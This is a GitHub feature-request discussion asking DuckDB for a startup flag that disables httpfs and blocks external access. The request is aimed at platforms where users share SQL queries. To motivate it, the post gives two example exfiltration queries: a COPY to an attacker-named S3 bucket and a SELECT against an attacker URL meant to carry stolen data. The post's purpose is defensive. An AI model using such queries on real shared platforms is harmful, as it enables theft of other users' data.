Feature Request: Add non sql flag to disable httpfs #1603
bluehat974
started this conversation in
Ideas
Replies: 0 comments
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
-
Describe the feature
When starting DuckDB, add a flag to disable httpfs and forbid access to external website
Data files (parquet, csv...) can only be registered/exported with duckdb localstorage using
registerFileBuffer
/copyFileToBuffer
functionsWhy do you want this feature?
Users will be able to create SQL query and share with other users in the platform
An user could be able to share an sql query and steal data from other users
COPY table_name TO 's3://my_attacker_bucket/file.extension';
SELECT * FROM 'https://my_attacker_website/file.csv?hi_i_will_dump_here_the_url_encoded_content_of_the_files_have_fun___';
Beta Was this translation helpful? Give feedback.
All reactions